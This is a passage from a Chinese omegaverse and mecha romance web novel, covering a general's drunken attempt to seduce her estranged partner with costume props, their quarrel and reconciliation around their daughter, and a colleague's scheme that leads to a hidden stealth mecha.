宋青佩也忙道:“瑞雪姐,明毓说话比较直,你别放在心上。” “我理解,明上将也是关心你。” 慕容瑞雪眸中闪过一抹暗淡,她能明显地从话里感觉到宋青佩对明毓的态度,已经没了一开始的冷淡,甚至称得上亲密。难怪明毓突然松口,看来两人应该是和好了,她的警惕又少了几分。 餐桌上,气氛再次活跃起来。 宋惜寒和明芮你一言我一语地调侃着,颂颂则在一旁咯咯直笑。 一旁的明毓视线始终放在宋青佩身上,甚至时不时地有一些身体接触,宋青佩因为慕容瑞雪在旁边,不好拆她台,只能无奈地任由她占便宜。 而打着别的主意的上将大人,心底其实十分紧张 正好这时候宋惜寒端着红酒喝得正在兴头上,于是平时滴酒不沾的明毓,居然主动让人拿了个酒杯,陪着宋惜寒喝了起来。 见状,一旁的明芮惊诧道:“表姐,你不是不喝酒吗?” 明毓掩饰道:“今天高兴,陪你们喝一点。” 闻言,宋惜寒顿时来了兴致,赶紧起身给她倒上了红酒,还问了问旁边的慕容瑞雪喝不喝,慕容瑞雪赶紧拒绝,于是三个人喝了起来。 旁边的宋青佩和慕容瑞雪小声说话,等她们俩都吃饱了,旁边的三个人反而喝得正起兴,宋青佩在旁边看得一脸无奈。 “瑞雪姐,要不我们去外面走走?” “不了,我就先走了。”慕容瑞雪起身告辞。 宋青佩又客气地留了她两句,慕容瑞雪坚持要走,于是她也没再继续挽留。 送她到门口,宋青佩低声说:“瑞雪姐,谢谢你专门跑一趟。” 慕容瑞雪笑了笑,语气温柔:“青佩,我们之间不用说谢谢。明天公司见。” 送走慕容瑞雪后,宋青佩回到客厅。 发现三个人中,已经喝趴下了一个,而那人正是一向滴酒不沾的上将大人,此刻毫无形象的歪在沙发上,旁边宋惜寒和明芮正当着面蛐蛐她。 “哈哈哈……一直被明毓这家伙压着,这下终于赢了一回。” 宋惜寒一副大仇得报的模样。 “我还没见过表姐这样。”明芮则不由感叹道:“不过表姐身上的弦绷得太紧了,这样放松下也好。” 两人见宋青佩回来了,也起身要走,宋青佩准备送送。 “不用送了,扶明毓去房间休息。” “让表姐多喝点水,她今天喝得不少。” 两人异口同声地说完,一起往外走。 宋青佩让苏管家去送,然后走到明毓跟前,蹲下打量着她。 明毓迷迷糊糊地睁开眼,眼神迷离地看着宋青佩,忽然摇摇晃晃地起身扑进她怀里,双手紧紧环住她的腰,声音软得像是在撒娇:“青佩……不要离开我……” 宋青佩被她突如其来的举动吓了一跳,随即哭笑不得地试图推开她:“明毓,你喝醉了,快起来。” 然而,明毓却像只黏人的猫儿,死活不肯撒手,反而将脸埋在她的颈窝里,蹭了蹭,含糊不清地说道:不要走……青佩,你别推开我…… 看她这一副神志不清的模样,宋青佩无奈道:“你先起来,我们回房间休息,好不好?” 明毓抬起头,眼神迷蒙地看着她,似乎是在思考她的话。 片刻后,她点了点头,却又赖在宋青佩怀里不肯动,只是伸出手,软软地指了指房间的方向:“你扶我……” 真是喝醉了也不忘支使人,宋青佩叹了口气,一手揽住她的腰,一手扶住她的手臂,将她从沙发上拉起来。 明毓整个人都靠在她身上,脚步虚浮,走得摇摇晃晃,嘴里还不停地嘟囔着:“青佩……你别离开我……我真的喜欢你……” 宋青佩却不敢多想,只当她是醉话。 她扶着明毓一步步往房间走去,好不容易将人扶到房间门口。 推开门,正准备将明毓扶到床上,却一眼瞥见了房间里那个熟悉的大箱子。 随即想起白天苏管家神神秘秘搬上楼的场景,宋青佩心里顿时涌起一阵好奇。 她看了一眼怀里的醉鬼,忍不住着那个箱子试探地问:“明毓,这是什么?” 明毓顺着她的手指看去,迷蒙的眼神中闪过一丝亮光,随即带着几分邀宠的口吻,慢吞吞地说:“这是唔……送给姐姐的礼物……” 礼物?宋青佩一脸疑惑。 还没等她反应过来,明毓已经摇摇晃晃地挣脱了她的搀扶,踉踉跄跄地走到箱子旁,俯下身,开始笨拙地拆箱子。 宋青佩见状,赶紧上前扶住她,生怕她一个不稳摔倒在地。 然而,当她看清箱子里的东西时,整个人瞬间僵住了。 只见箱子里,赫然摆满了各种大尺度的情趣物品——镂空内衣、猫耳朵、尾巴、丝袜、香氛……琳琅满目,应有尽有。 宋青佩的脑子当场停止思考,脸上火辣辣的,仿佛被什么东西狠狠烫了一下。 而明毓却像是完全没意识到她的窘迫,反而兴致勃勃地从箱子里拿出许多东西,邀功般凑到宋青佩面前,眼神迷离地看着她,语气中带着几分撒娇。 “喜欢吗?我穿给你看。” 宋青佩整个人已经傻了,她看着明毓手里那些令人脸红心跳的物品,脑子里一片空白。而明毓却像是因为醉酒打开了什么奇怪的开关,开始自顾自地脱起了衣服。 “明毓!你干什么!”宋青佩惊呼一声,赶紧上前阻止她。 然而,明毓却像是完全听不进去,一边脱衣服,一边凑近宋青佩,眼神迷离中带着几分诱惑:“你想怎么样都可以,姐姐~求求你……喜欢我好不好?” 听着上将大人的酒后夹子音,宋青佩当场石化。 第42章 猫耳朵,猫尾巴 宋青佩看着眼前这一幕,只觉得脑袋嗡嗡作响。 明毓已经脱掉了外套,正笨拙地解着衬衫扣子,眼神迷离中带着几分执拗,嘴里还不停地嘟囔着:“姐姐……你看看我嘛……” 宋青佩深吸一口气,强迫自己冷静下来。 她太了解明毓了,这人清醒时最是嘴硬,要是明天醒来发现自己醉酒后做出这种事,怕是会恼羞成怒,倒打一耙说是她趁人之危。 想到这里,宋青佩打开了智脑的录像权限,调出摄像头对准了明毓。 她得留下证据,免得明天说不清楚。 “明毓,你喝醉了!快停下!”宋青佩试图阻止。 但明毓已经解开了纽扣,露出里面黑色的蕾丝内衣。 她歪着头,眼神迷离地看着宋青佩,声音软糯:“姐姐不喜欢吗?我还有好多……” 说着,她摇摇晃晃地走到箱子旁,从里面拿出一对毛茸茸的猫耳朵,笨拙地往头上戴。黑色的猫耳衬得她冷艳的面容多了几分可爱,与她平日里的严肃形象形成强烈反差。 宋青佩强忍着笑意,问:“你这是从哪里学来的?” “宋小柔说……这样姐姐就会喜欢我……”明毓一边说着,一边又从箱子里拿出一条黑色的猫尾巴,试图往腰上系。 宋青佩忍不住提醒道:“尾巴不是那样系的。” 明毓抬起头,眼神迷离中带着几分委屈:“那姐姐帮我……” 宋青佩可不敢真配合,只能走过去趁着明毓转移注意力,将毛茸茸的尾巴拿过来试图扔进箱子里,但明毓发现了,又给抢了回去。 还趁机抱住宋青佩,将脸埋在她的颈窝里蹭了蹭,声音软糯:“姐姐好香……” 宋青佩被她蹭得浑身一颤,赶紧推开她:“别闹了,快去睡觉。” 明毓却不肯,又走到箱子里一通扒拉,嘴里念念有词的嘟囔着,不知道在说些什么,宋青佩无奈地走过去蹲下身体,试图将人拉到床上去睡觉。 突然淡淡的玫瑰香气弥漫开来,带着几分甜腻。 宋青佩觉得身体有些发热。 “宋小柔说……这个可以让姐姐更喜欢我……”明毓说着,又拿出一条黑色丝袜,笨拙地往腿上套。 看着平日里冷峻的上将大人,此刻正戴着猫耳、猫尾巴,笨拙地穿着丝袜,只觉得这一幕荒诞又好笑。她实在忍不住了,笑出声来,越来越大。 明毓听到了她的笑声,转过头去,眼神迷离中带着几分委屈:“姐姐在笑我……” 宋青佩赶紧强忍着笑意:“没有,你继续。” 明毓却不肯,摇摇晃晃地走到她面前,将她推倒在床上,整个人压了上来。她的呼吸带着酒气,眼神迷离中带着几分执拗:“姐姐……你喜欢我吗?” 宋青佩被她压得动弹不得,只觉得浑身发热。 她这才意识到,那香薰里怕是加了催情的成分,她的易感期似乎又严重了。 “明毓,你起来……”宋青佩试图推开她,却发现明毓虽然醉了,力气却依旧不小。 明毓却不肯,反而将脸埋在她的颈窝里,轻轻咬了一口。 宋青佩浑身一颤,只觉得一股热流涌遍全身。 “姐姐……标记我好不好……”明毓的声音软糯中带着几分哀求。 宋青佩强忍着冲动,用力推开她:“不行,我得去打抑制剂。” 明毓被她推开,委屈地坐在床上,眼神中满是委屈和失落:“姐姐不喜欢我,姐姐不喜欢我了……” 宋青佩顾不上安慰她,赶紧起身去找抑制剂。 等她打完抑制剂回来,发现明毓已经趴在床边睡着了,脸上似乎还挂着泪,嘴里还喃喃着:“姐姐……求你喜欢我好不好……” 看着她这副样子,宋青佩只觉得无奈又有些心酸。 真是天意弄人,如果她们没有经历那些乱七八糟的事情就好了。 她叹了口气,将明毓抱到了床上,帮她盖好被子,自己则躺在另一边,努力平复着躁动的情绪。 第二天清晨,阳光透过窗帘的缝隙洒进房间。 明毓缓缓睁开眼睛,头痛欲裂。她揉了揉太阳穴,试图回忆起昨晚的事情,然而,随着记忆的逐渐清晰,她的脸色变得越来越难看。 她记得自己喝醉了,然后…… 然后,她竟然在宋青佩面前穿上了那些羞耻的情趣用品! 明毓的脸瞬间涨得通红,她猛地坐起身,看到床边那个打开的箱子,里面乱七八糟地堆着各种令人脸红心跳的物品。仿佛都在明晃晃地在嘲笑她—— 看啊,都这样勾引了,宋青佩还是不愿意标记你,真可怜啊! 明毓既羞恼又尴尬,甚至连带着面对宋青佩的勇气都没了。她迅速穿好衣服,看了一眼还在熟睡的宋青佩,趁她没醒赶紧离开了这个让她无地自容的地方。 她一路疾步着下了楼,连早餐都没吃,直接开车离开了庄园。 宋青佩在明毓离开后不久也醒了过来。 她睁开眼睛,发现身边空无一人,只有那个装满情趣用品的箱子还摆在房间中央。她愣了一下,随即想起昨晚明毓醉酒后的荒唐行为,忍不住笑出了声。 “这家伙,居然还跑了。” 宋青佩摇了摇头,起身洗漱,换好衣服后下楼吃早餐。 苏管家已经准备好了丰盛的早餐,宋青佩吃完早餐后,开车前往蓝海实验室。 到了公司,宋青佩刚走进办公室,慕容瑞雪就迎了上来。 “青佩,早上好。 宋青佩点了点头,随口答道:“瑞雪姐,我这段时间请假给你添麻烦了,有什么工作交给我吧,我争取补上。” 慕容瑞雪笑了笑,没有多说什么,只是将一份文件递给她:“这是今天的工作安排,你看看有没有什么问题。” 宋青佩接过文件,仔细翻阅起来,发现工作量并不大。 再回来上班,宋青佩的心态已经发生了变化,看似专注地在工作,实则一直在暗中观察慕容瑞雪的一举一动。 然而,一整天下来,她并没有发现慕容瑞雪有什么异常。 “不能太心急了。” 她自我安慰着,要有耐心,慕容瑞雪绝不会轻易露出马脚。 与此同时,慕容瑞雪也在暗中观察着宋青佩。她敏锐地察觉到宋青佩对她的态度似乎有些微妙的变化,虽然表面上依旧客气,但那种若有若无的疏离感让她感到不安。 “难道她发现了什么?”慕容瑞雪心里一紧,立刻联系了李蔓。 “李蔓,我觉得宋青佩不太对劲,她可能知道了什么。”慕容瑞雪压低声音说道。 电话那头的李蔓沉默了片刻,随即道:“既然如此,那就尽快行动吧。” 慕容瑞雪皱眉,语气焦虑:“可是我现在根本没机会接近她。怎么可能怀上她的孩子?” “那就只能想办法将人带走了。我们的时间不多了,军校建立前我们必须撤走。”李蔓道。 挂断电话后,慕容瑞雪的脸色变得凝重起来。她知道,李蔓的计划一旦开始,就没有回头路了。 可是,她真的能对宋青佩下手吗? 下班后,宋青佩回到家,发现明毓还没有回来。 她陪着女儿玩了一会儿,直到天色渐暗,明毓才姗姗来迟。 让宋青佩感到意外的是,明毓今天并没有像往常一样凑到她跟前,反而显得有些躲闪,宋青佩心里觉得有趣,故意凑过去跟她搭话。 “明毓,我今天上班,暂时没发现慕容瑞雪有什么问题。” 明毓随口应道:“不用急,最重要的是别引起她的怀疑。” “嗯,我明白。” 宋青佩说着目光若有若无地落在她的身上,故意压低声音问:“你感觉怎么样?喝那么多酒有没有不舒服? “还好。”明毓的脸色有些不自然,刻意避开了宋青佩的目光。 宋青佩挑了挑眉,故意说:“哦,那昨晚的事情,你还记得吗?” 明毓的脸色瞬间变得通红,语气中带着一丝慌乱:“昨晚……昨晚我喝醉了,什么都不记得了!” 宋青佩笑了笑,故意道:“是吗?那真是太可惜了,我还以为你会记得呢。” 明毓的脸色更加难看了,她咬了咬唇,没作声。 难得看到她吃瘪,宋青佩颇为恶劣道:“对了,你房间的东西还没收拾,记得收拾……” “宋青佩,你够了!”明毓恼羞成怒。 见明毓真的恼了,宋青佩强忍笑意,一本正经道:“好,我不说了。不过,以后还是少喝点酒吧,实在有损你上将的形象。” 听出她话里的损意,明毓羞恼交加地瞪了宋青佩一眼,转身快步回了自己的房间,砰的一声关上了门。 宋青佩看着紧闭的房门,忍不住笑出了声。 然而,她并不知道,此时的明毓正靠在门后,心跳加速,脸上火辣辣的。 看到房间内还未收拾的箱子,再想到自己昨晚脸都丢尽了某人却还是无动于衷,气的过去狠狠踹了两脚箱子,恼羞成怒骂宋青佩: “这么不解风情,活该你信息素冷淡!” 第43章 训狗呢? 明毓看着这些让她羞耻的东西,正想着该怎么把这些玩意儿收拾掉。 这时候颂颂那清脆的声音就在门外响起来了。 “妈咪妈咪,你快出来,我们一起玩游戏吧。今天幼稚园新教的游戏哦!” 明毓心里一阵慌乱,刚刚因为那些东西又羞又恼,脸涨得通红。她赶忙抬手拍了拍自己的脸,可不能让颂颂看出什么异样来。 慌乱之中,她都忘了自己手里面还紧紧攥着那只让人羞耻的猫耳朵发卡。 一打开门,颂颂眼睛一下子就亮了。 “哇偶!妈咪的发卡好可爱呀!像真的猫猫耳朵一样。” 颂颂说着还伸出了手,似是想要摸一摸。 明毓一听,脸更红了,一着急,手上不自觉地就用力了,“咔嚓”一声,发卡就这么被她给折断了。 颂颂被这突如其来的动作吓了一跳,歪着脑袋,小心翼翼地叫了一声“妈咪”。 “颂颂,我……” 明毓还不敢把门开太大,生怕颂颂看到里面的东西。 只见颂颂抱住宋青佩的大腿,还把小脸紧紧贴在上面,好像这样就能找到安全感似的。 “我把妈咪发卡看断了,妈咪生气了~” “不是,我……”向来冷冽的明上将这会儿嘴开始瓢了。 宋青佩赶紧弯腰把颂颂抱起来,瞥了一眼明毓握紧的拳头,笑了笑。 “宝贝,是这个发卡质量不好。我记得妈咪之前给你买了很多发饰,苏奶奶帮你整理起来了,我们去看看。” “好呀好呀,我选一件赔给妈咪~” 说着,宋青佩抱着颂颂转身的时候,给了明毓一个意味深长的眼神。 明毓看着她们离开的背影,气得牙痒痒。 等她们的身影消失在视线里,她关了门,丢下弄断的发卡,几步走到大箱子面前。 又狠狠踹了一脚! 沙拉—— 箱子直接被踹烂了,那些让人羞耻的东西稀里哗啦地撒了一地。 明毓看着这一片狼藉,心里那个气! 可又没办法,总不好叫别人来收拾这堆东西吧,要是被人知道了,她的脸还往哪儿搁啊。 她只能自己蹲下来收拾,一边收拾一边在心里更加火大。这些东西就好像在故意嘲笑她一样,好像在告诉她,她在宋青佩眼里就是个笑话。 上将大人从未这么憋屈过,强压着满腔怒火,还要自己蹲下,将这些乱七八糟的东西起来,暗暗发誓,再也不做这种蠢事了。 另一边,宋青佩知道这会儿明毓肯定在恼羞成怒,短时间内应该不会好意思出现在她面前了。于是也乐的清闲,轻声细语地哄着颂颂睡觉。 “宝贝,咱们该睡觉啦。” 颂颂却眨着那双水汪汪的大眼睛,一脸期待地说:“妈妈,我想要妈咪来陪我睡。” 这就有些为难了,她可不想这个时候去触明毓的眉头,只能忽悠小小家伙了。 于是,她赶忙笑着对颂颂解释:“妈咪今天工作可累啦,咱们给妈咪放一天假好不好?今天就咱俩睡,妈妈陪着你,保证让你睡得香香的。” 颂颂歪着脑袋想了想,又好奇地问:“妈妈,那你和妈咪是和好了吗?” 宋青佩听到这个问题,愣了一下。 她的思绪不由自主地飘回到昨天醉酒后的明毓。 那个时候的明毓,像是从前她熟悉的梦梦,两人似乎在慢慢重叠,她好像已经可以慢慢将她们当做一个人。而且这段时间接触先来,明毓似乎确实改变了许多,她也确实没之前那么讨厌和抵触了,要不然她的信息素也不会被轻易勾出来。 她们现在也算进入了一个新的磨合期吧,至于最终如何,还要等待时间的验证。 思及此,宋青佩看着天真无邪的颂颂。虽然颂颂还小,但是看看明毓的家庭环境,再想想明毓小时候吃过的苦…… 总觉得在这个家庭里,对颂颂隐瞒也不见得是一件好事。于是她决定实话实说:“嗯……比之前好一点点啦,但还不完全是和好哦。我们还在慢慢相处。也可能还是和现在一样,也可能以后会各自生活……但不管这么样,我们都还是会像现在一样爱颂颂的。” 宋青佩尽量说的很委婉。 可是,等她一扭头,却发现颂颂已经呼吸均匀,睡得正香了。 小家伙的嘴角还挂着一丝浅浅的微笑,不知道梦到了什么好玩的事儿。 宋青佩无奈地笑了笑,轻轻地给颂颂掖好被角后,吻了吻颂颂额头,然后轻手轻脚地起身,回了自己的房间。 另一边,明毓好不容易重新找了箱子,收拾好了那堆让她心烦意乱的东西。又用胶带把箱子封得严严实实的,推到了房间的角落里。 打算第二天让人找个地方“毁尸灭迹”,眼不见心不烦。 收拾完之后,她去洗了个澡。 热水从喷头洒下,淋在她的身上,可她的心情却怎么也放松不下来。 一想到宋青佩刚刚那个揶揄的眼神,她心里就像有团火在烧。 “哼,凭什么笑我!自己易感期不也来了吗?” 明毓一边嘟囔着,一边用力地搓着头发。洗完澡出来,她穿着浴袍,头发还滴着水,她站在房间里,眼神时不时地看向门口,心里有些纠结。 按照往常的习惯,她这会儿应该去找宋青佩了,可一想到宋青佩的态度,她又气不打一处来。 坚决不去找她! 她上了床,试图让自己入睡,可翻来覆去怎么也睡不着。 这几天天天去找宋青佩,好像真的已经成了一种习惯。 她在床上不停地翻身,嘴里还念叨着:“该死,难道宋青佩易感期就真的一点也没感觉吗?哪怕是发个消息,或者找个借口!” 她越想越气,可又实在睡不着,心里像猫抓一样难受。 不能去找她,绝能不再受她的羞辱! 明毓紧紧地抓着被子,让光脑放音乐,沉浸式睡眠。然而…… 半个小时后,上将大人还是出现在了宋青佩门口。 敲了一下,没人开门。 还好门没上锁。 她拧开,借着微弱的光,就看到宋青佩睡得正沉。 明毓更是气不打一处来,几步走到床边,伸手就掀起了宋青佩身上的被子,紧接着一下把她拉到了地上。 宋青佩一脸懵地从地上爬起来,睡眼惺忪中带着满满的震惊。 “梦梦,怎,怎么了?” 潜意识里她竟然叫的是梦梦!明毓霎时间心里更堵得慌了,声音因为愤怒而微微颤抖。 “宋青佩!我不找你,你是不是永远都不会主动找我?” “而且,以后不准叫我梦梦!我不喜欢!” 宋青佩被气笑了,自己吃自己的醋可还行? 她不由反驳道:“我去找你?你还不得以为我又在故意看你笑话呢!你哪次恼羞成怒之后对我不是冷嘲热讽的,我还能上赶着找不痛快?” 明毓听到这话,像是被踩到了尾巴的猫,瞬间炸毛。 “我冷嘲热讽?那你呢?之前在医院,你说的那些话,就好听了?什么‘上将大人发热期来的时候还是这么饥渴’,你这话说得就好听了?” 她气得胸口剧烈起伏,呼吸也变得急促起来。 宋青佩没想到明毓居然开始翻旧账,好啊,她做的事可比她过分的多,翻旧账,谁怕谁啊! 宋青佩也不惯着她,开始持续输出: “你还记着这事儿呢?那你呢,恢复记忆后对我那是什么态度?” “说什么我不配标记你,更不配让你生下孩子,这话你忘了?” “你当时有多绝情,现在就别嫌我说话难听!” 明毓的脸色微微一变,声音不自觉弱了下去:“那些事情都过去。而且,人都会犯错,你总要给我机会改变吧。” 宋青佩却不买账。 “改变?你那也叫改变?一会儿对我冷若冰霜,一会儿又莫名其妙地热情,呼之即来挥之即去,你把我当什么了?” 明毓张了张嘴,想要解释,却发现喉咙像是被什么东西堵住了。 就在宋青佩张嘴还要说什么的时候,明毓实在不想再被她戳心窝子,梦的冲过去,压倒宋青佩,用自己的嘴唇堵住了宋青佩的嘴。 宋青佩被这突如其来的吻惊得忘了动作。 可还没等她反应过来,那熟悉的Omega信息素就如潮水般涌来,轻而易举地勾动了她本就处于易感期边缘的信息素。 刹那间,空气中弥漫着一股暧昧的气息。 两人的呼吸交织在一起,越来越急促。 宋青佩的双手下意识地抓住了明毓的肩膀,她能感受到明毓身上传来的滚烫温度。 然而,就在这暧昧的氛围达到顶点的时候,宋青佩的理智像是被一盆冷水浇醒,明明刚才还在吵架,怎么莫名其妙到了这一步? 她猛地回过神,双手用力一推,将明毓推开。 明毓一脸的不甘地看着宋青佩,眼中还残留着未消散的情欲和迷茫。 宋青佩深吸一口气,努力让自己的呼吸平稳下来,转身在床头柜里拿出准备好的抑制剂给自己注射。 “一个巴掌一个枣儿,明上将在这训狗呢?” 第44章 别扭 明毓闻言咬着牙,气得不行,她根本就没这个意思。 况且她都这么主动了,宋青佩竟然还打抑制剂?到底还想让她怎么样啊? 骄傲如明毓,刚才的冲动的吻已然是她的极限,这会儿自然不可能再问什么了。就这么犹豫的瞬间,宋青佩已经给自己打完了抑制剂。 她回过头来看向明毓,明毓脸色依旧很冷。 宋青佩就是能够感觉到,如果不是被植入思想钢印,让明毓如此强势不肯示弱,这会儿的明毓脸色应该跟调色盘一样好看。 “怎么,明上将发热期应该过了吧,还这个样子……着实让人费解。” 宋青佩就是故意的,她想让明毓承认真实的自己,让她知道,思想钢印并非不可撼动,她随时都能变回那个曾今的‘梦梦’,而不需要借着催眠,或者是醉酒当借口, 当然,她不是想要‘梦梦’,而是想让明毓接受真实的自己。 但这话听在明毓耳朵里,就好像宋青佩再说:“看,易感期我控制得住!你堂堂上将,发热期都过了,还这么不稳定。” 明毓咬着下嘴唇,想着这些天,自己不管用了什么方式。 从一开始把自己催眠成‘梦梦’,到找宋小柔买那些衣服,到今天,她没来,自己就主动到了这里,可是自始至终,都没能软化宋青佩一分一毫。 恼火,羞耻,愤怒,不甘! 纵然是面对敌军时,被激光炮射穿机甲时候她都没现在这种无力,情绪难以名状,所有的夹杂在一起,让她难受的喉头酸涩,不可控的怒火仿佛在爆发的边缘, 岂料,宋青佩的一句:“算了,不说了,睡觉吧。”就浇灭了她大半的怒火。 一瞬间,明毓知道自己彻底完了,宋青佩简简单单的一句话就能决定她的情绪,她眸光忽明忽暗,一时不知道该说些什么。 见明毓跟柱子似的杵在那里,也不说话,宋青佩实在困得不行,只能无奈拍了拍床,再度催促道:“睡吧,再不睡天都亮了。” 她让睡就睡?呵呵!明毓抿唇,转身就走。 结果都走到门口了,也没听到宋青佩挽留,她更是气不打一处来,转过头去,发现宋青佩已经翻了个身,背对着她睡了。 明毓被气笑了!人家都睡着了,她一个人别扭个什么劲儿? 就见她脚下拐了个弯,又回了房间,走到床的另一边躺下,这下宋青佩的呼吸声更是在耳边,她皱了皱眉,最后还是忍不住转过头对着宋青佩躺下。 闭上眼,直接就睡过去了! 一夜无梦。 第二天,明毓最先醒来,看到自己八爪鱼似得睡姿,尴尬的慢慢缩回脚。 结果刚要缩回手的时候,宋青佩睫毛颤了颤,醒了。她赶紧收回了手,然后淡定起身,背对着宋青佩开始穿衣服。 看出明毓的别扭,宋青佩知道上将大人的高傲自尊这是又受到了打击,她很识趣的没有去触霉头,默默地穿上衣服,跟明毓一起出了门。 下楼之后发现颂颂早早就醒了,坐在餐桌前面嘟着嘴儿。 看到宋青佩下来,她生气地嘟着嘴,连“妈妈”都不喊了。 谁让妈妈昨晚竟然趁着她睡着,偷偷跑了,都不陪着她一起睡觉了,讨厌。 可是等看到宋青佩身后是明毓,她眼珠子滴溜溜地转了转:“妈妈妈妈,你昨晚没陪我睡,是陪妈咪睡觉了吗?” 小孩子童言无忌,声音又特别大,这下子所有佣人都看了过来。 宋青佩心虚地瞥了眼明毓,心里暗暗叫苦,这小家伙,怎么什么话都往外说。 明毓倒是面色如常,心里却也有些不自在,想到自己昨晚又主动去找宋青佩,顿觉丢脸,脸色更不好看了。 她深吸一口气,努力保持镇定,走到颂颂旁边,轻轻抱起颂颂,问道:“怎么没吃早餐呀?” 颂颂搂着明毓的脖子,奶声奶气地说:“等妈妈和妈咪啊。” 说完,又扭头看向宋青佩,“妈妈,昨天幼儿园新教的游戏,你还没陪我玩呢。” 明毓想到昨天的尴尬场景,脸上微微一热,暗道那些东西一定要尽快处理了,被颂颂不小心看到就糟了。 她笑了笑,对颂颂说:“今晚上回来陪你玩。这不是马上要周末了吗,周末也可以带你玩,玩什么都行。” 颂颂一听,开心得眼睛都亮了起来。 可突然,她像是想起了什么似的,神秘兮兮地看向苏管家。 苏管家心领神会,立马拿来一个盒子,递给颂颂。 颂颂双手抱着比她都还有点大的盒子,费力地递给明毓,一脸期待地说:“妈咪,给你的!” 明毓见状,心里挺开心的。 这是女儿第一次,也是自己主动的送她礼物。 “哇,是给妈咪的礼物嘛,我可要打开看看。”说着就要动手拆盒子。 宋青佩眼疾手快,伸手摁住盒子,说道:“先吃饭吧,礼物既然是心意,就需要长久地期待,打开才能更开心。” 她主要是怕这是颂颂赔给明毓的猫耳朵,要是再把人点炸了可咋办。 明毓也瞬间反应过来了什么,虽然脸上依旧面无表情,但是耳根却悄悄地红了起来,默默压下了打开礼物的冲动。 可颂颂却不乐意了,嘟着嘴撒娇道:“送礼物就是想要让收到礼物的人开心嘛,妈咪不开心?” “开心开心,妈咪可开心了。”明毓赶忙说道。 颂颂得寸进尺:“那现在就打开,这是颂颂第一次送妈咪礼物哦,必须今天打开呢。” 明毓抿了抿唇,实在拗不过颂颂,只好打开了盒子。 想着如果真是猫耳朵也没关系,反正被人又不知道。 结果,里面是一幅画,画得歪歪扭扭的。 明毓盯着看了好半晌,才指着里面一团颜色有些怪异的红色说道:“这是胡萝卜?那这个,灰色的……是兔子?” 明毓觉得自己肯定猜对了,连忙道:“所以颂颂画的是兔子拔萝卜?” 刚说完,就看到颂颂憋着嘴,眼睛瞬间就红了起来。 明毓心里一慌,怎么了这是……她向来不大会哄小孩,但还是学着之前宋青佩哄颂颂的样子,下意识先把颂颂抱到怀里安抚。 结果颂颂不高兴地推搡着明毓,嘴里喊着:“妈妈,妈妈……” 宋青佩赶忙上前,从明毓怀里接过颂颂。 一边轻轻拍着颂颂的背,一边哭笑不得地看着明毓,解释道:“那个,咳咳,颂颂画的是一家三口。” 明毓再次定睛去看那幅画,怎么看都还是觉得有点摸不着头脑。 宋青佩接着解释:“红色萝卜是你的机甲,灰色的兔子是因为我平常工作穿的银灰色衣服,中间的绿色……因为不是说,孩子是未来的树苗么,所以……” 宋青佩话音还未落,颂颂哭得更大声了。 宋青佩连忙安抚:“宝贝,别怪妈咪,妈咪也是第一次看到你的画,我们走得太匆忙,没有把你的作品都带上,不然妈咪肯定就知道了。” 闻言,明毓心里突然像被什么东西堵住了一样,堵得慌。 当时只一门心思想要回女儿,想速战速决,所以压根没有想到这么多。 但现在说什么都似乎不太恰当。 “颂颂。”明毓声音暗了暗,“妈咪的确不够了解你,但给妈咪时间,让妈咪了解你好吗?” 宋青佩有些诧异,没想到一向高傲的明毓竟然也会服软。 听到她这么说,颂颂才渐渐止住了哭声。 一家三口吃过晚饭,因为心虚,明毓亲自送颂颂去了学校,才去军部。 ***** 宋青佩今天来的算早的,结果到了公司,发现慕容瑞雪早早就到了,正聚精会神地看着一个战斗机甲的图纸。 仔细一瞧,正是上次自己没来得及研究完就晕倒的那个机甲。 宋青佩走过去,好奇地问:“修好了?” 慕容瑞雪抬起头,脸上挂着淡淡的微笑,“嗯,修好了。” 说着,她把图纸放到一边,“我昨天给你的资料看完了吗?” 宋青佩赶忙回答:“看完了,所以今天我就直接来找瑞雪姐,看看是不是还是继续实操呀?” 她本身就是以身入局,所以也不算过分主动。 慕容瑞雪本来就是想要接近宋青佩的,听到这话,心里惆怅。 她现在很矛盾,又知道任务非完成不可,又不想伤害真心对她好的人。 压下情绪,她不动声色地点点头,说道:“这个飞鸟型号的旧机甲就这一个,不过还有一种更精密的,叫做鱼跃号,是一种隐形战斗机甲。我们去看看那个吧,跟我走。” 宋青佩惊讶了一下:“不在这里?” 慕容瑞雪抿了抿唇,最终,还是决定尽快完成任务。 于是她点点头,“是,不在这里。” 怎么可能在人多的地方呢,要找个私密点的地方,才好实施计划。 宋青佩抿了抿唇,心里立刻警惕起来,她嘴上答应着,却不着痕迹的按了一下光脑上面的快捷键,给明毓发送了消息。 第45章 醋意满满 宋青佩不知道慕容瑞雪会带她去做什么,只能提前通知了明毓,以防万一有什么突发情况,不至于毫无防备。 一路上,她有些忐忑,努力不让自己露出破绽,以免打草惊蛇。 而慕容瑞雪看似随意地和宋青佩闲聊着,眼神却时不时地打量着她,有些心虚有些惆怅,想到要对宋青佩对手,还是有些舍不得。 毕竟宋青佩可是真心对她的…… 慕容瑞雪不自觉叹气。 “瑞雪姐,你是身体哪里不舒服吗?是不是上次还没修养好?”宋青佩只能假装没察觉到慕容瑞雪的异样,关心道。 “不用,我……没事。”慕容瑞雪心不在焉,想要转移话题,随口问了句:“你和明上将之间,有没有因为我产生什么误会?” 没想到她会提起这个话题,宋青佩微微一笑:“还好吧。” 还好吧,那就是关系已经缓和了吧。她本以为,明毓那么独断专行又强势的人,宋青佩不会那么容易跟她和好,没想到 慕容瑞雪心情越发复杂,暗自懊恼自己怎么就晚了一步。 如果能早一点找到宋青佩,是不是结果就不一样了? 明明她们的基因才是最契合的的一对,却偏偏半路被明毓给搅和了,想到要用强制手段对付宋青佩,她心底越发内疚起来。 两人来到一个相对偏僻的仓库,周围冷冷清清的,几乎看不到什么人。 慕容瑞雪带着宋青佩走进仓库,里面停放着一台造型奇特的机甲,机身线条流畅,泛着幽冷的金属光泽,和之前的飞鸟型号完全不同。 “这就是鱼跃号。”慕容瑞雪介绍道。 “没有双翼……” “是的。”慕容瑞雪道:“与飞鸟号不同,这个鱼跃号特级战斗型机甲,对于驾驶者的精神力要求非常高,是十分稀有的机型。” 宋青佩的注意力一下子被吸引过去。 因为工种原因,她以前接触的都是最基础的,确实没见过这么高端的战斗型机甲。她走到机甲旁边,伸手轻轻触摸着冰冷的外壳,却感觉它似乎是有生命的。 “鱼跃号是怎么隐身?”宋青佩这会儿是真的沉浸在专业中。 慕容瑞雪唇角勾了勾:“利用特殊的涂层,以及速度,快速消失在敌人眼前。这台鱼跃号,曾经是容家一位上将用的,可惜……” “在那位上将离世后,就再也没有可以驾驶这台机甲了。” “为什么?”宋青佩疑惑道。 “因为鱼跃号里面不是光脑,而是……智脑。” 